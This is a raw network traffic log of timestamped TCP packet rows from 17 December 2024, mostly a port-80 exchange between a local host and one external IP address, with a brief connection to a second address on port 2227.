Dec 17, 2024 22:06:15.549843073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.549884081 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.552670956 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.552728891 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.552746058 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.552824020 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.555516958 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.555563927 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.555568933 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.555613995 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.558454990 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.558506012 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.558548927 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.558618069 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.561404943 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.561461926 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.561501980 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.561544895 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.564109087 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.564181089 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.564287901 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.564330101 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.567008972 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.567049026 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.567082882 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.567138910 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.569854975 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.569902897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.569981098 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.570024967 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.572817087 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.572832108 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.572887897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.575628042 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.575697899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.575771093 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.577812910 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.577872038 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.578504086 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.578555107 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.578593016 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.578644991 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.581311941 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.581403017 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.581455946 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.584227085 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.584281921 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.584290028 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.584337950 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.587083101 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.587282896 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.587337971 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.587337971 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.590020895 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.590034008 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.590085983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.592947006 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.592995882 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.592998981 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.593400955 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.595747948 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.595796108 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.595807076 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.595854998 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.598561049 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.598618031 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.598622084 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.598665953 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.601447105 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.601460934 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.601505041 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.604307890 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.604362011 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.604387045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.604481936 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.607284069 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.607341051 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.607455969 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.607513905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.610050917 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.610100031 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.610129118 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.610177040 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.612957954 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.613010883 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.613048077 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.613137960 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.615772963 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.615823030 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.615878105 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.615921974 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.618690014 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.618705034 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.618750095 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.618767023 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.621548891 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.621603966 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.621620893 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.621665001 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.624407053 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.624464989 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.624500990 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.624547958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.627408981 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.627490044 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.627518892 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.627563000 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.630305052 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.630350113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.716059923 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.716084957 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.716116905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.716149092 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.717248917 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.717302084 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.717355013 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.717403889 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.719018936 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.719162941 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.719213009 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.721291065 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.721342087 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.721374989 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.721420050 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.723684072 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.723737001 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.723750114 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.723798037 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.725944042 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.725965977 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.725991964 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.726006985 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.728127003 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.728180885 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.728244066 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.728283882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.730302095 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.730357885 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.730382919 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.730436087 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.732527971 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.732580900 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.732603073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.732650042 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.734663963 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.734745979 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.734898090 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.734954119 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.736769915 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.736819983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.736839056 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.736887932 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.738888025 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.738940954 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.738971949 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.739015102 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.741007090 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.741061926 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.741076946 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.741125107 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.743012905 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.743062019 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.743143082 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.743187904 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.745031118 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.745070934 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.745089054 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.745114088 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.747071981 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.747129917 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.747247934 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.747296095 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.748975039 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.749119043 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.749169111 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.750972986 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.751058102 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.751168013 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.751214981 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.752913952 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.752966881 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.753027916 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.753072023 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.754940033 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.754987001 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.755048990 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.755095959 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.756783962 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.756834984 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.757002115 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.757050037 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.758708000 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.758766890 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.758810043 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.759040117 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.760699034 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.760751963 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.760761023 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.760793924 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.762660027 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.762713909 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.762801886 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.762851000 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.764503956 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.764569044 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.764610052 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.764657021 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.766433954 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.766491890 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.766613960 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.766801119 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.768598080 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.768657923 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.768668890 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.768714905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.770368099 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.770421028 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.770477057 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.770531893 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.772207022 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.772265911 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.772339106 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.772464991 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.774115086 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.774177074 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.774339914 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.774394035 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.776113033 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.776168108 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.776199102 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.776252985 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.778017044 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.778028011 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.778075933 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.779943943 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.780005932 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.780010939 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.780047894 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.781866074 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.781934023 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.781950951 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.781980038 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.783785105 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.783835888 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.783914089 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.783957005 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.785727978 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.785782099 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.785816908 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.785862923 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.787638903 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.787697077 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.787744999 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.787792921 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.789649010 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.789663076 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.789709091 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.791523933 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.791567087 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.791572094 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.791610003 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.793777943 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.793819904 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.793826103 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.793860912 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.795423031 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.795481920 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.795515060 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.795562029 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.797327995 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.797384024 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.797415972 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.797463894 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.799324989 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.799375057 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.799447060 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.799489975 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.801196098 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.801250935 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.801268101 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.801300049 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.803111076 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.803158045 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.803188086 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.803235054 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.805031061 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.805145979 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.805181980 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.805238962 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.807014942 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.807029963 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.807077885 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.809050083 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.809076071 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.809103012 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.809119940 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.810859919 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.810920000 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.810952902 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.810997009 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.812768936 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.812871933 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.812881947 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.812922001 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.814707994 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.814763069 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.814785004 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.814825058 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.816723108 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.816792011 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.816839933 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.816888094 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.818557024 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.818619967 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.908473015 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.908538103 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.908638000 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.908687115 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.909202099 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.909252882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.909329891 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.909425020 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.910734892 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.910783052 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.910887957 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.910936117 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.912147045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.912203074 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.912218094 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.912260056 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.913657904 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.913712025 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.913727045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.913768053 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.915121078 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.915172100 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.915199995 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.915255070 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.916578054 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.916636944 CET	49776	80	192.168.2.4	31.41.244.11
